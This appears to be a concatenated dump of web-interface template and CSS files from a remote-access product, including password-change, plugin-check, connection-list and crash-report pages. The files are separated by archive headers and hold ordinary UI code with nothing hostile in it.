<?include "style.inc"?>
<?include "passsave.inc"?>
</head>

<body onload="documentLoaded();">
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText">&MSG.CHGPWD.TITLE&</span>
</div>

<?include "borgmessages.html"?>
<div class="clientArea" style="margin: 12px">
<center>
<?action "pwdinfo"?><?usemacro WINERRDLG()?>

<script language="JavaScript">
function chk(form) {
if (form.newpwd && form.newpwd2) {
<?if PWD.MINLEN?>
if (form.newpwd.value.length < =PWD.MINLEN=) {
alert('$MSG.CHGPWD.TOOSHORT$');
form.newpwd.focus();
return false;
}
<?endif?>
if (form.newpwd.value != form.newpwd2.value) {
alert('$MSG.DIALOG.PWDMISMATCH$');
form.newpwd.focus();
return false;
}
}
return true;
}
</script>

<form action="&TEMPLATE&" method="post" onsubmit="return chk(this)">
<input type="hidden" name="rnd" value="&RND&">
<input type="hidden" name="nextpage" value="&REQ.NEXTPAGE&">

<?if PWD.EXPIRED?>
<b>&MSG.CHGPWD.EXPIRED&</b><br><br>
<?elseif PWD.EXPIRES?>
<b>&MSG.CHGPWD.EXPIRES&</b><br><br>
<?endif?>

<?if PWD.LOCKED // password changing disabled?>

&MSG.CHGPWD.LOCKED&<br>

<?elseif SSL // using secure channel?>

<?if REQ.SUBMIT?>
<?action "pwdchg"?><?usemacro WINERRDLG()?>
<?endif?>

<?if PWD.CHANGED?>

&MSG.CHGPWD.DONE&<br><br>

<?if REQ.NEXTPAGE?>
<input type="button" value="&MSG.DIALOG.CONTINUE&" onclick="window.location='$REQ.NEXTPAGE$'">
<?endif?>

<?else?>
<center>
<fieldset>
<br>
<font color="<?&COLOR.Link?>">
&MSG.CHGPWD.DESC&
</font>
<br>
<br>
</fieldset>
<br>
<br>
<fieldset>
&MSG.LOGIN.USER&: <b>&USERNAME&</b><br>
<?if PWD.LASTSET?>
&MSG.ADMIN.USERMANAGER.USER.PWDCHANGED&:
<?&PWD.LASTSET_dts?>
<?if not IsUnix?>
(<?&PWD.LASTSET_ago?>)
<?endif?>
<br>
<?endif?>
<?if PWD.LASTLOGON?>
&MSG.ADMIN.USERMANAGER.USER.LASTLOGON&:
<?&PWD.LASTLOGON_dts?> (<?&PWD.LASTLOGON_ago?>)
<br>
<?endif?>
<?if PWD.LASTLOGOFF?>
&MSG.ADMIN.USERMANAGER.USER.LASTLOGOFF&:
<?&PWD.LASTLOGOFF_dts?> (<?&PWD.LASTLOGOFF_ago?>)
<br>
<?endif?>
</fieldset>
<br>
<br>
<fieldset>
<br>
<table cellspacing="3" cellpadding="0">
<col align="right">
<col align="left">
<tr>
<td>&MSG.CHGPWD.OLDPWD&:</td>
<td><input type="password" name="oldpwd" size="30"></td>
</tr>
<tr>
<td>&MSG.CHGPWD.NEWPWD&:</td>
<td><input type="password" name="newpwd" size="30"></td>
</tr>
<tr>
<td>&MSG.DIALOG.PWDCONFIRM&:</td>
<td><input type="password" name="newpwd2" size="30"></td>
</tr>
</table>
<br>
</fieldset>
<br>
<br>
<input type="submit" name="submit" value="&MSG.DIALOG.APPLY&">
<?if UI="secrem"?>
&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='sr/security.html'">
<?endif?>
</center>

<?endif?>

<?else // SSL?>

<b>&MSG.CHGPWD.INSECURE&</b><br><br>

<?if SSLOK?>
<input type="button" value="&MSG.LOGOUT.TITLE&" onclick="parent.location='default.html?logout=yes'"><br>
<?elseif ACTIONS has "-sslinfo-"?>
<input type="button" value="&MSG.CONFIG.SSL.TITLE&" onclick="window.location='cfgssl.html'"><br>
<?endif?>

<?endif?>
</form>

</center>
</div>
</div>
</body>
<script language="JavaScript">
<? 
if REQ.NEXTPAGE="remctrl.html"
set REQTYPE = "01"
elseif REQ.NEXTPAGE="filexfer.html"
set REQTYPE = "02"
elseif REQ.NEXTPAGE="telnet.html"
set REQTYPE = "03"
endif

if REQTYPE = "01" or REQTYPE = "02" or REQTYPE = "03" ?>

function startClientOnLoad(){
if (!LMIBrowserInfo.IsPluginsSupported() && typeof(parent.frames['menu'].StartLogMeInClient) == "function") {
var view = (-1 < window.location.toString().indexOf("&view=1"));
parent.frames["menu"].StartLogMeInClient("&REQTYPE&", view);
}  
}

function documentLoaded() {
setTimeout("startClientOnLoad()", 1000);
}
<? else ?>

function documentLoaded() {}

<? endif ?>
</script>
</html>
"Tzchkobject.incl	<?ratmpl?>

<script type="text/javascript" language="JavaScript">
<!--
	function reloadPage(type, displaymsg, object) {
		// this check is similar to that in chkobject - putting it
		// here allows us to bypass unnecessary redirects
		var vDisplayMsg = "";
		if (displaymsg) {
			vDisplayMsg = "1";
		}
		// rc or telnet (telnetControl is actually a fake)
		var askTracking = (type == 'html' ? '&track=yes' : '');
		if (parent.frames.length > 0 && type == 'html' && (object == 'rcxcontrol' || object == 'telnetControl')) {
			// have to get rid of the frameset which blocks scrolling
			parent.location.replace('$TEMPLATE$?type=' + type + askTracking + '&appletwidth=$REQ.APPLETWIDTH$&appletheight=$REQ.APPLETHEIGHT$&app=1&view=$REQ.VIEW$&remctrlnw=$REQ.REMCTRLNW$&ForceLoopback=%REQ.ForceLoopback%&displaymsg=' + vDisplayMsg);
		} else {
			// rapv or filexfer
			window.location.replace('$TEMPLATE$?type=' + type + askTracking + '&appletwidth=$REQ.APPLETWIDTH$&appletheight=$REQ.APPLETHEIGHT$&app=1&view=$REQ.VIEW$&remctrlnw=$REQ.REMCTRLNW$&ForceLoopback=%REQ.ForceLoopback%&displaymsg=' + vDisplayMsg);
		} 
	}	// function reloadPage

	function callOnObjectLoaded(onObjectLoaded) {
		// onObjectLoaded is an optional parameter for chkObject
		if (typeof onObjectLoaded != "function")
			return;
		
		// argument is an object with the following properties:
		//   reqType: 'type' argument of the request (REQ.TYPE), e.g. "activex", "html"
		
		var arg = { reqType: "&REQ.TYPE&" };
		onObjectLoaded(arg);
	}
  
	function chkObject(objectname, displaymsg, onObjectLoaded) {
		<?if REQ.TYPE = "activex"?>
			var cobj = document.getElementById(objectname);
			if (cobj && cobj.readyState > 0) {
				if (cobj.sessionid || cobj.sessionid == "") {
					//the control has loaded...
					callOnObjectLoaded(onObjectLoaded);
				} else {
					reloadPage('html', displaymsg, objectname);
				}
			} else {
				reloadPage('html', displaymsg, objectname);
			}
            cobj = null;
            if (typeof(CollectGarbage) == "function") {
                CollectGarbage();//IE10 js could kidnap fm or rc plugin so enforce gc
				window.setTimeout(function() { CollectGarbage();},1);
            }
		<?endif?>
		<?if REQ.TYPE = "html"?>
			//html only. nothing to check.
			callOnObjectLoaded(onObjectLoaded);
		<?endif?>
	}	// function chkObject
-->
</script>
̈́&chk_rc_plugins.html}<?ratmpl?>
<?nocache?>
<? if REQ.CONNECTCHECK ?>
{ "IsBorgConnected": <? if ISBORGCONNECTED = "Yes" ?>true<? else ?>false<? endif ?> }
<? set session ISBORGCONNECTED = "No" ?>
<? else ?>
<html>
<head>
<?include "setupdomain.html"?>
<link rel="stylesheet" type="text/css" href="/css/lmiborgdesktopshare.css" />
<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<script type="text/javascript" src="/js/moztools.js"></script>
<script type="text/javascript" src="/js/borgtimers.js"></script>
<script type="text/javascript">
// check for installed plugins without triggering install. Used by Desktop Sharing.
function CheckRCPlugins() {
if (! LMIBrowserInfo.IsPluginsSupported()) {
sFallbackUrl = "remctrl.html?type=html&new=1";
var sDeployURI = "openclient.html?downloadclient=1&apptype=01&platform=" + LMIBrowserInfo.GetPlatform();

if (LMIBrowserInfo.GetCookie(LMIBrowserInfo.kClientAppCookie)) {
gCustomURI = "openclient.html?redirect=1&apptype=01";
PrepareAnchor(gAnchorID);
StartShowMessageTimer(sDeployURI);
} else {
gCustomURI = sDeployURI;
ShowInfoBox(sDeployURI);
}
return;
}
// IE: ActiveX plugin check
else if (<?if HTTP.USERAGENT.IE?> true <?else?> false <?endif?>)
{
var ax = null;
try
{
ax = new ActiveXObject('RACtrl.rcxcontrol.1');
}
catch(e)
{
// failed to load AX, no big deal, carry on
}

if (ax)
{
// ActiveX plugin is installed (unknown version), redirect to AX RC page
window.location.replace('remctrl.html?type=activex');
return;
}
}

// no success, fall back to ActiveX RC
window.location.replace('remctrl.html?type=activex');
}

function BorgTimersFrame() {
return self;
}

function BorgMessagesFrame() {
return self;
}

function BorgConnectedAction() {
top.location.replace("https://&PRODUCTWEBSITE&");
}
</script>
</head>
<body onload="CheckRCPlugins()">
<? include "borgmessages.html" ?>
</body>
</html>
<?endif?> e:connlist.html<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText">&MSG.INFO.CONNS.TITLE&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%INFO.CONNS.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<br>
<?action "rainfo"?><?usemacro WINERRDLG()?>
<center>
<table class="inner" cellpadding="2">
<tr>
<th>&MSG.INFO.CONNS.HOST&</th>
<th>&MSG.INFO.CONNS.USER&</th>
<th>&MSG.TYPE&</th>
<th>&MSG.INFO.CONNS.CONNECTED&</th>
<th>&MSG.INFO.CONNS.DATA.IN&</th>
<th>&MSG.INFO.CONNS.DATA.OUT&</th>
</tr>
<?enum CONNS?>
<tr>
<td nowrap><?&CONN.HOST?> (<?&CONN.ADDR?>)</td>
<td nowrap><?&CONN.USER?></td>
<td><?&MSG.INFO.CONNS.TYPE:CONN.TYPE?></td>
<td class="num"><?&CONN.TIMEC_for?></td>
<td class="num"><?&CONN.OCTRCVD_szk?></td>
<td class="num"><?&CONN.OCTSENT_szk?></td>
</tr>
<?next?>
</table>
<br><br>
</center>
</div>
</body>
</html>

ycrash.html
	+A<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?
set default REQ.NEXTPAGE=TEMPLATE

if REQ.CRASH.UPLOAD
set global CRASH.UPLOAD="1"
set global CRASH.WARN=""
set global CRASH.EMAIL=REQ.CRASH.EMAIL
redirect REQ.NEXTPAGE
endif

if REQ.CRASH.DELETE
set global CRASH.DELETE="1"
set global CRASH.WARN=""
redirect REQ.NEXTPAGE
endif

if REQ.CRASH.IGNORE
redirect REQ.NEXTPAGE
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<!-- CRASH DUMPS -->
<div class="window">
<div class="titleBar"><img width=16 height=16 src="img/ico_evt_stop.png?bg=<?if UITYPE = "LMI"?>white<?else?>%COLOR.CapBack%<?endif?>" align="absmiddle">&nbsp;&MSG.CRASH.TITLE&</div>
<div class="clientArea" style="margin: 12px">
<form action="&TEMPLATE&" method="get">
<input type="hidden" name="rnd" value="&RND&">
<input type="hidden" name="nextpage" value="&REQ.NEXTPAGE&">
<p>&MSG.CRASH.DESC&</p>
<p>&MSG.CRASH.NOTICE&</p>
<p>&MSG.CRASH.UPLOAD.DESC&</p>
<p>&MSG.CRASH.DELETE.DESC&</p>
<p>&MSG.CRASH.IGNORE.DESC&</p>
<?if REQ.CRASH.DETAIL?>
<?action "filelist" REQ.DIR=".\diag\" REQ.LIST="f"?>
<?if FILES?>
<p align="center">
<table class="inner">
<thead>
<tr><th colspan="4">&MSG.CRASH.DETAIL.HEAD&</th></tr>
<tr>
<th>&nbsp;</th>
<th>&NAME&</th>
<th>&DRIVE.VSIZE&</th>
<th>&DRIVE.TIMEC&</th>
</tr>
</thead>
<tbody>
<?enum FILES?>
<tr>
<td><img src="fileicon.png?bg=%COLOR.DlgBack%&type=.%FILE.EXT%&size=16" width="16" height="16"></td>
<td nowrap><a href="download/?dir=%DIR.PATH%&file=%FILE.NAME%"><?&FILE.NAME?></a></td>
<td class="num"><?&FILE.SIZE _szk?></td>
<td class="num"><?&FILE.TIMEC _ago?></td>
</tr>
<?next?>
</tbody>
</table>
</p><br>
<?endif?>
<?endif?>
<p>&MSG.CRASH.EMAIL.DESC&<br><br>
<center>&MSG.CRASH.EMAIL&: <input type="text" name="crash.email" size="40" value="&REQ.CRASH.EMAIL&"></center></p>
<p align="center">
<input type="submit" name="crash.upload" value="&MSG.CRASH.UPLOAD&">
<input type="submit" name="crash.delete" value="&MSG.CRASH.DELETE&">
<?if not REQ.CRASH.DETAIL?>
<input type="submit" name="crash.detail" value="&MSG.CRASH.DETAIL&">
<?endif?>
<input type="submit" name="crash.ignore" value="&MSG.CRASH.IGNORE&">
</p>
</form>
</div>
</div>

</body>
</html>
j=(credentialshelp.html·<?ratmpl?>
<html>
<head><?include "setupdomain.html"?>
<?include "style.inc"?>
<title><?&PRODUCTNAME?></title>
</head>
<body class="title">
<table>
<tr>
<td width=15>&nbsp;</td>
<td>
<br>
<h1><?&MSG.LOGIN.CREDENTIALSHELP.TITLE?></h1>
<hr>
&MSG.LOGIN.CREDENTIALSHELP.LINE1&
<br /><br />
&MSG.LOGIN.CREDENTIALSHELP.LINE2&
<form>
<hr>
<center>
<input type="button" value="&MSG.LOGIN.LOGONHELP.CLOSE&" onclick="javascript:window.close();">
</center>
</form>
</td>
<td width=15>&nbsp;</td>
</tr>
</table>
</body>
</html>Lo"css\dashboard.css	O<?ratmpl?>
body
{
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	background-color: &COLOR.DlgBack&;
	margin: 0px;
	padding: 0px;
	spacing: 0px;
	width: 100%;
	height: auto;
	overflow: hidden;
	color: &COLOR.DlgText&;
}

.window 
{
	background-color: &COLOR.DlgBack&;
	margin: 0px;
	padding: 0px;
	spacing: 0px;
	width: 100%;
	height: 100%;
	overflow: auto;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

.titleBar {
	font-family: "Arial", "Verdana";
	background: white;
	font-size: 18px;
	font-weight: bold;
	color: black;
	height: 79px;
	width: 100%;
	border-bottom: 1px solid #E6E6E6;
	white-space: nowrap;
	cursor: default;
	overflow: hidden;
}

.dashtitle {
	background-color: &COLOR.TblTtlBack&;
	font-family: tahoma, sans-serif;
	font-weight: normal;
	font-size: 11px;
	color: white;
	cursor: move;
}
.dashtitle a {color: &COLOR.TblTtlText&; text-decoration: none; font-weight: bold;}
.dashtitle a:hover {color: &COLOR.TblTtlText&; text-decoration: underline; font-weight: bold;}

.dashtable {
	width: 100%;
	font-family: tahoma, sans-serif;
	font-size: 11px;
	vertical-align: top;
	border-width: 1px 1px 0px 1px;
	border-style: solid;
	border-color: &COLOR.TblHdrBack&;
	margin-bottom: 10px;
	background-color: &COLOR.DlgBack&;
}

.dashtable_min {
	width: 100%;
	font-family: tahoma, sans-serif;
	font-size: 11px;
	vertical-align: top;
	border-width: 1px 1px 1px 1px;
	border-style: solid;
	border-color: &COLOR.TblHdrBack&;
	margin-bottom: 10px;
	background-color: &COLOR.DlgBack&;
}

th {
	background-color: &COLOR.TblHdrBack&;
	font-family: tahoma, sans-serif;
	font-weight: normal;
	font-size: 11px;
	color: &COLOR.TblHdrText&;
}
td {
	padding-left: 4px;
	border-bottom-style: solid;
	border-bottom-width: 0px;
}
td.num { text-align: right; white-space: nowrap; border-bottom: 1px solid &COLOR.TblHdrBack&;}
td.ico16 { text-align: left; vertical-align: middle; border-bottom: 1px solid &COLOR.TblHdrBack&;}
td.ico16 img { width: 16px; height: 16px; border-bottom: 0px solid &COLOR.TblHdrBack&;}
td.datalabel {border-bottom: 1px solid &COLOR.TblHdrBack&; background-color: #bfd3fa;}
td.data {border-bottom: 1px solid &COLOR.TblHdrBack&;}

td a {text-decoration: none; color: &COLOR.DlgText&;}
td a:hover {text-decoration: none; color: &COLOR.DlgText&;}

tr.data {border-bottom: 1px solid &COLOR.TblHdrBack&;}

input, select, text {
	font-family: sans-serif;
	font-size: 11px;
	padding: 0px;
	height: 20px;
}
1G6css\lmiborgdesktopshare.cssy.LMIMessageBox 
{ 
    display: none; 
    padding: 10px; 
    margin: 12px; 
	background-color: #ffffff; 
	font-family: "Arial","Tahoma","Verdana"; 
    font-size: 12px; 
}
.LMIMessageBox img 
{ 
    float: right; 
    margin: 0px; 
    cursor: pointer; 
}
.LMIMessageBox h1 
{
    display: inline-block;
    font-size: 16px; 
    padding: 2px 0px 0px 36px;
	margin: 0px; 
	-webkit-margin-after: 0px;
}
.Alert
{ 
    background: #ffffff url("../img/loader.gif") 12px 12px no-repeat; 
}
.Info  
{ 
    background: #ffffff url("../img/lmi-box-info-icon.png") 12px 12px no-repeat; 
}
.LMIMessageBox p 
{ 
    padding-left: 36px; 
	margin: 0px;
	color: #666;
}
.LMIMessageBox a 
{
    color: #085394; 
    text-decoration: underline; 
    font-weight: bold; 
}
.LMIMessageBox div.LMIColumn
{
    margin: 15px 0px 10px 36px;
	padding-left: 26px;
}
.LMIMessageBox b
{
	color: #999;
}
.LMIMessageBox div.LMIColumn b
{
	color: black;
}
.LMIMessageBox div.LMIColumn h1
{
	background-image: none;
	height: auto !important;
	padding: 0px;
	margin-bottom: 0px;
	-webkit-margin-after: 0px;
	font-size: 13px;
	font-weight: bold;
	color: black;
}
.LMIMessageBox .LMIColumn span
{
	display: block;
	font-size: 11px;
	color: #666;
	margin: 0px;
	padding: 0px;
}
.Info .Col1
{
	background: url("../img/download.png") left 3px no-repeat;
}
.Info .Col2
{
	background: url("../img/clickapp.png") left 3px no-repeat;
}
.Info .Col3
{
	background: url("../img/access.png") left 3px no-repeat;
}
.Alert .Col1
{
	background: url("../img/notification.png") left 3px no-repeat;
}
.Alert .Col2
{
	background: url("../img/download.png") left 3px no-repeat;
	height: 20px;
}
.Alert .Col3
{
	background: url("../img/clickapp.png") left 3px no-repeat;
}
.LMIMessageBox .Last
{
	clear: both;
}
.LMIMessageBox #Close
{
    display: none; 
}
.LMIMessageBox #Help
{
	position: relative;
	float: none !important;
	margin-left: 5px;
	top: 2px;
}
[,css\lmiborgsupport.css.LMIMessageBox 
{ 
    display: none; 
    padding: 10px; 
    margin: 12px; 
    border: solid 1px #f1c232; 
	background-color: #fff2cc; 
	font-family: "Arial","Tahoma","Verdana"; 
    font-size: 12px; 
}
.LMIMessageBox img 
{ 
    float: right; 
    margin: 0px; 
    cursor: pointer; 
}
.LMIMessageBox h1 
{
    display: inline-block;
    font-size: 16px; 
    padding: 2px 0px 0px 36px;
	margin: 0px; 
	-webkit-margin-after: 0px;
}
.Alert
{ 
    background: #fff2cc url("../img/loader.gif") 12px 12px no-repeat; 
}
.Info  
{ 
    background: #fff2cc url("../img/lmi-box-info-icon.png") 12px 12px no-repeat; 
}
.LMIMessageBox p 
{ 
    padding-left: 36px; 
	margin: 0px;
	color: #666;
}
.LMIMessageBox a 
{
    color: #085394; 
    text-decoration: underline; 
    font-weight: bold; 
}
.LMIMessageBox div.LMIColumn
{
    margin: 15px 0px 10px 36px;
	padding-left: 26px;
}
.LMIMessageBox b
{
	color: #999;
}
.LMIMessageBox div.LMIColumn b
{
	color: black;
}
.LMIMessageBox div.LMIColumn h1
{
	background-image: none;
	height: auto !important;
	padding: 0px;
	margin-bottom: 0px;
	-webkit-margin-after: 0px;
	font-size: 13px;
	font-weight: bold;
	color: black;
}
.LMIMessageBox .LMIColumn span
{
	display: block;
	font-size: 11px;
	color: #666;
	margin: 0px;
	padding: 0px;
}
.Info .Col1
{
	background: url("../img/download.png") left 3px no-repeat;
}
.Info .Col2
{
	background: url("../img/clickapp.png") left 3px no-repeat;
}
.Info .Col3
{
	background: url("../img/access.png") left 3px no-repeat;
}
.Alert .Col1
{
	background: url("../img/notification.png") left 3px no-repeat;
}
.Alert .Col2
{
	background: url("../img/download.png") left 3px no-repeat;
	height: 20px;
}
.Alert .Col3
{
	background: url("../img/clickapp.png") left 3px no-repeat;
}
.LMIMessageBox .Last
{
	clear: both;
}
.LMIMessageBox #Help
{
	position: relative;
	float: none !important;
	margin-left: 5px;
	top: 2px;
}
LL.css\multiselectlist.css$<?ratmpl?>
/*td				{ font:	icon; padding: 2px 5px;	cursor: default; }*/
td				{ padding: 2px 5px;	cursor: default; }
.selected		{ background: &COLOR.MenuSelBack&; color: &COLOR.MenuSelText&; }
.hilited		{ background: &COLOR.MenuHighBack&; color: &COLOR.MenuHighText&; }
fieldset		{ padding: 5px;	margin: 10px 5px; }
.div-list		{ font: icon; background: Window; border: 1px solid ThreeDShadow; cursor: default; }
.div-list div	{ padding: 2px 5px;}

/* ul list */
.ul-list		{ font:	 icon; background: Window; border: 1px solid ThreeDShadow;
				padding: 2px; cursor: default; }
.ul-list ul		{ margin:			0;	padding-left:	20px;}
.ul-list > ul	{ padding:	0 25px;}
li				{ list-style-image:	url("images/folder.png"); background: window; }
li				{ background: Transparent !important; color: Inherit !important; }
li span			{ position:	relative; top: -2px; left: -7px; padding: 1px 5px 1px 2px; }
li.selected > span { background: &COLOR.MenuSelBack&; color: &COLOR.MenuSelText&; }
.selected a		{ text-decoration: none; color: &COLOR.MenuSelText&; }
nRcss\RA.cssD<?ratmpl?>

body, table, td, th, input, select 
{
	font-family: "Arial", "Tahoma", "Verdana";
	font-size: <?if LORES?>10px<?else?>12px<?endif?>;
}

input, select, textarea {font: 12px "Arial";}

body	
{
	background-color: &COLOR.DlgBack&;
	margin: 0px;
	padding: 0px;
	spacing: 0px;
	width: 100%;
	height: 100%;
	overflow: auto;
	color: &COLOR.DlgText&;
}

body.title	
{
	background-color: &COLOR.HdrBack&;
	color: &COLOR.HdrText&;
	<?if HTTP.USERAGENT has "OPERA" // I've no idea why Opera needs this to avoid displaying scrollbars, but apparently it does?>
		padding: 1px;
	<?endif?>
}

h1 { font-size: 12pt; }
h2 { font-size: 11pt; }
h3 { font-size: 10pt; }

<?if UI="secrem"?>
h1, h2, h3 
{
	color: &COLOR.HTMLHeader&; 
	font: normal 18px tahoma;
	<?if UITYPE = "LMI"?>padding-left: 15px;<?endif?>
}
<?endif?>

div.SR  { background-color: #ffffff; border: 2px solid black; padding: 16px 16px 64px 16px }

.menu
{
	background-color: &COLOR.MenuBack&;
	color: &COLOR.MenuText&;
	font-size: 8pt;
	margin: 0px;
	padding: 0px;
	width: auto;
	height: auto;
	display: block;
	overflow-x: hidden;
}

.menusplitter
{
	background: #bbbbbb url('/img/menu_splitter_bg.gif') repeat-y top left;
	display: block;
	height: 100%;
	margin: 0px;
	padding: 0px;
	position: absolute;
	<?if UI="secrem"?>
	left: 160px;
	<?else?>
	left: 190px;
	<?endif?>
	top: 0px;
	width: 7px;
}

a { color: &COLOR.Link&; text-decoration: none; }
a:hover	{ cursor: <?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE?>hand<?else?>pointer<?endif?>; }

table	
{
	border-width: 0px;
	border-collapse: collapse;
	empty-cells: show;
}

th, th a
{
	background-color: &COLOR.TblTtlBack&;
	color: &COLOR.TblTtlText&;
}

table.inner, table.inner td, table.inner th, td.inner, th.inner
{
	border-width: 1px;
	border-style: solid;
	border-color: &COLOR.TblHdrBack&;
	padding: <?if LORES?>0px 2px<?else?>1px 3px<?endif?>;
	
}

table.eventinfo, table.eventinfo td, table.eventinfo th, td.eventinfo, th.eventinfo
{
	border-style: none;
	padding: <?if LORES?>0px 2px<?else?>1px 3px<?endif?>;		
}

.ttd 
{
	background-color: &COLOR.TblHdrBack&;
	color: &COLOR.TblHdrText&;
	text-align: center;
	font-weight: bold; <?if LORES?>font-size: 11px;<?endif?>
}
.ttd a
{
	color: &COLOR.TblHdrText&;
	<?if LORES?>font-size: 11px;<?endif?>
}

.inner tr.ttd td, .inner td.ttd 
{
	border-width: 1px;
	border-style: solid;
	border-color: &COLOR.TblTtlBack&;
	text-align: center;
	font-weight: bold;
}
.inner td.num { text-align: right; white-space: nowrap; }

td.num { text-align: right; white-space: nowrap; }
td.ico16 { text-align: center; vertical-align: middle; }
td.ico16 img { width: 16px; height: 16px; }

dl
{
	<?if UITYPE = "LMI"?>padding-left: 15px;<?endif?>
}

dt
{
	font-weight: bold;
}
dd
{
	margin-left: 0px;
	margin-bottom: 1.5em;
}

.buttonBar {
	display: block;
	background-color: #cecece;
	/*width: 100%;*/
	padding-top: 1px;
	padding-bottom: 1px;
	border-width: 1px;
	border-style: solid;
	border-color: ThreeDHighlight ThreeDShadow ThreeDShadow ThreeDHighlight;
	vertical-align: middle;
}

.buttonGroup {
	display: inline;
	background-color: #cecece;
	border-width: 0px 1px 0px 1px;
	border-style: solid;
	border-color: ThreeDHighlight ThreeDShadow ThreeDShadow ThreeDHighlight;
	padding-top: 1px;
	padding-bottom: 2px;
	padding-left: 4px;
	padding-right: 4px;
	height: <?if LORES?>22px<?else?>24px<?endif?>;
	text-align: left;
	vertical-align: middle;
}

.buttonGroup IMG {
	width: 22px;
	height: 22px;
	vertical-align: middle;
	cursor: <?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE?>hand<?else?>pointer<?endif?>;
}

.buttonGroup SELECT {
	height: 22px;
	vertical-align: middle;
}

.dataArea {
	display: inline;
	border-width: 1px;
	border-style: solid;
	border-color: ThreeDShadow ThreeDHighlight ThreeDHighlight ThreeDShadow;
}

.scrollableDataArea {
<?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE?>
	overflow-y:auto;
<?else?>
	overflow:auto;
<?endif?>
	height:200px;
	width:100%;
}

fieldset 
{
	width: 95%;
	padding: 4px;
	margin: 4px;
	<?if UI="secrem"?>border: 1px solid &COLOR.WinBack&;<?endif?>
}

INPUT.button {
	color: #000033;
	font: bold 13px 'trebuchet ms', helvetica, sans-serif;
}

INPUT.buttongreyed {
	color: #000033;
	font: bold 13px 'trebuchet ms', helvetica, sans-serif;
}

textarea {
	font-family: monospace, courier, monotype;
}
.bullet1 {font-weight: bold; padding-right: 4px; color: #000066}
DXcss\tabs.css<?ratmpl?>

.tabwindow
{
	width: 100%;
	height: 100%;
	background-color: &COLOR.DlgBack&;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	padding: 0px;
	margin: 0px;
	position: absolute;
	border: 1px solid WindowFrame;
}

.tab-page h2
{
	color: &COLOR.Link&;
	font-family: "Verdana", "Arial";
	font: 9pt;
	font-weight: bold;
	text-align: center;
	width: auto;
}

.dynamic-tab-pane-control.tab-pane
{
	position: relative;
	margin-bottom: -3px;
	margin-right: -1px;
	margin-left: -1px;
}

.dynamic-tab-pane-control .tab-row .tab
{
	font:			Menu;
	cursor:			Default;
	display:		inline;
	margin:			1px -2px 1px 2px;
	float:			left;
	padding:		2px 5px 3px 5px;
	background:		&COLOR.DlgBack&;
	border:			1px solid;
	border-color:	black;
	border-bottom:	0;
	z-index:		1;
	position:		relative;
	top:			0;
}

.dynamic-tab-pane-control .tab-row .tab.selected
{
	border-bottom: 0;
	z-index: 3;
	padding: 2px 6px 5px 7px;
	margin: 1px -3px -2px 0px;
	top: -2px; 
}

.dynamic-tab-pane-control .tab-row .tab a
{
	font: Menu; 
	color: &COLOR.Link&; 
	text-decoration: none; 
	font-weight: bold; 
	cursor: default; 
}

.dynamic-tab-pane-control .tab-row .hover a
{
	cursor: <?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE?>hand<?else?>pointer<?endif?>;
}

.dynamic-tab-pane-control .tab-page
{
	clear:				both;
	width: auto;
	height: auto;
	border:				1px solid;
	border-color:		black;
	background-color:	&COLOR.DlgBack&;
	z-index:			2;
	position:			relative;
	top:				-2px;
	color:				&COLOR.DlgText&;
	font:				Message-Box;
	padding:			10px;
}

.dynamic-tab-pane-control .tab-row	{ z-index: 1; white-space: nowrap; padding: 4px }
.dynamic-tab-pane-control.tab-page	{ height: 200px; }
.dynamic-tab-pane-control.tab-page .dynamic-tab-pane-control .tab-page { height: 100px; }
.dynamic-tab-pane-control h2		{ text-align: center;	width: auto; }
.dynamic-tab-pane-control h2 a		{ display: inline; width: auto; }
.dynamic-tab-pane-control a:hover	{ background: transparent; }
aFcss\tooltip.css;<?ratmpl?>

a.helpLink {
	color:				green;
	text-decoration:	none;
	border-bottom:		1px dashed green;
}

a.helpLink:hover {
	color:				red;
	text-decoration:	none;
	border-bottom:		1px dashed red;
}

.tooltip {
	position:	absolute;
	width:		auto;
<?if HTTP.USERAGENT.MACOSX ?>
	<?//Safari has issues with infobackground, etc ?>
	border:		1px solid black;
	background:	#FCFCC7;
	color:		black;
<?else?>
	border:		1px solid windowframe;
	background:	infobackground;
	color:		infotext;
	font:		statusbar;
	font:		status-bar;
<?endif?>
	padding:	3px;
	filter:		progid:DXImageTransform.Microsoft.Shadow(color="#777777", Direction=135, Strength=3);
	z-index:	20000;
}

.tooltip a,
.tooltip a:hover {
	color:		blue !important;
	background:	none;
}
%rcss\window.css	=<?ratmpl?>
.window
{
	margin: 0px;
	padding: 0px;	
	box-sizing: border-box;
	-moz-box-sizing: border-box;
	width: 100%;
	
	<?if UI="secrem"?>
		<?if HTTP.USERAGENT not has "GECKO" // Mozilla needs special treatment?>
			height: 100%;
		<?else?>
			height: auto;
			min-height: 100%;
		<?endif?>
	<?else?>
		background-color: &COLOR.DlgBack&;
		position: absolute;
		text-align: left;
		<?if not LORES?>
			border: 1px solid WindowFrame;
		<?endif?>
	<?endif?>
}

.windowrc
{
	background-color: &COLOR.DlgBack&;
	margin: 0px;
	padding: 0px;
	<?if UI="secrem"?>
		spacing: 0px;
		<?if not HTTP.USERAGENT has "MSIE 5"?>
    		width: 100%;
		<?endif?>
		<?if HTTP.USERAGENT not has "GECKO" // Mozilla needs special treatment?>
			height: 100%;
		<?else?>
			height: auto;
			min-height: 100%;
		<?endif?>
		-moz-box-sizing: border-box;
